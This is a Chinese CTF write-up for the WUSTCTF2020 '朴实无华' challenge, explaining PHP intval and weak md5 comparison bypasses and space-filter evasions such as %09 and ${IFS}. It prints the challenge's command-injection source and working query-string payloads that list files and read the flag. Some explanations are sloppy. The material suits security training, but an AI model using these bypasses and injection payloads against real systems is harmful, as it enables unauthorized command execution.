当前位置:网站首页>intval md5绕过之[WUSTCTF2020]朴实无华
intval md5绕过之[WUSTCTF2020]朴实无华
2022-07-25 11:47:00 【一只Traveler】
知识点:
01 intval()函数的绕过
根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
intval函数还可以用于判断回文串,因为intval函数的最大值取决于操作系统,如果字符串的回文超过了最大的范围值,那么返回的值就也是原来的字符串,就会变成回文串,实现了绕过。
02 md5绕过
==弱类型绕过:
比如
$a!=$b&&md($a)==md5($b)
可以使用0e开头的科学计数来绕过,使用0e215962017、QNKCDZO、s878926199a;
$a==md5($a)时使用科学计数0e215962017
强类型比较===
a!==b md值要相等;
使用工具,或者数组;
03.空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
回到题目:
扫描文件:发现robots.txt;
打开发现的php;
观察响应头发现还有fl4g.php;
打开得到源码;
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 这里的三个绕过用到上面的知识点:
直接payload
?num=2e4&md5=0e215962017&get_flag=ls
得到文件列表:
?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
边栏推荐
- 【六】地图框设置
- Brpc source code analysis (II) -- the processing process of brpc receiving requests
- Monit installation and use
- Learning to pre train graph neural networks
- Pytorch advanced training skills
- Visualize the training process using tensorboard
- Pairwise comparison of whether the mean values between R language groups are the same: pairwise hypothesis test of the mean values of multiple grouped data is performed using pairwise.t.test function
- R language uses the ggarrange function of ggpubr package to combine multiple images, and uses the ggexport function to save the visual images in JPEG format (width parameter specifies width, height pa
- 【2】 Grid data display stretch ribbon (take DEM data as an example)
- R语言组间均值是否相同的成对比较:使用pairwise.t.test函数执行多个分组数据均值的两两成对假设检验
猜你喜欢

Web programming (II) CGI related

Behind the screen projection charge: iqiyi's quarterly profit, is Youku in a hurry?

记录一次线上死锁的定位分析

第一个scrapy爬虫

Video caption (cross modal video summary / subtitle generation)

Dr. water 2

Location analysis of recording an online deadlock

通信总线协议一 :UART

Learning to pre train graph neural networks

Musk's "eternal soul": half hype, half flicker
随机推荐
给生活加点惊喜,做创意生活的原型设计师丨编程挑战赛 x 选手分享
协程
Video caption (cross modal video summary / subtitle generation)
MySQL exercise 2
R语言使用ggpubr包的ggarrange函数将多幅图像组合起来、使用ggexport函数将可视化图像保存为jpeg格式(width参数指定宽度、height参数指定高度、res参数指定分辨率)
通过Referer请求头实现防盗链
【10】 Scale bar addition and adjustment
苹果供应链十年浮沉:洋班主任和它的中国学生们
scrapy爬虫爬取动态网站
Pytorch main module
【微服务~Sentinel】Sentinel降级、限流、熔断
R language ggplot2 visualization: use the ggstripchart function of ggpubr package to visualize the dot strip chart, set the palette parameter to configure the color of data points at different levels,
Technical management essay
Web programming (II) CGI related
R language uses the ggarrange function of ggpubr package to combine multiple images, and uses the ggexport function to save the visual images in JPEG format (width parameter specifies width, height pa
GPT plus money (OpenAI CLIP,DALL-E)
1.1.1 欢迎来到机器学习
利用wireshark对TCP抓包分析
WPF项目入门1-简单登录页面的设计和开发
【3】 DEM mountain shadow effect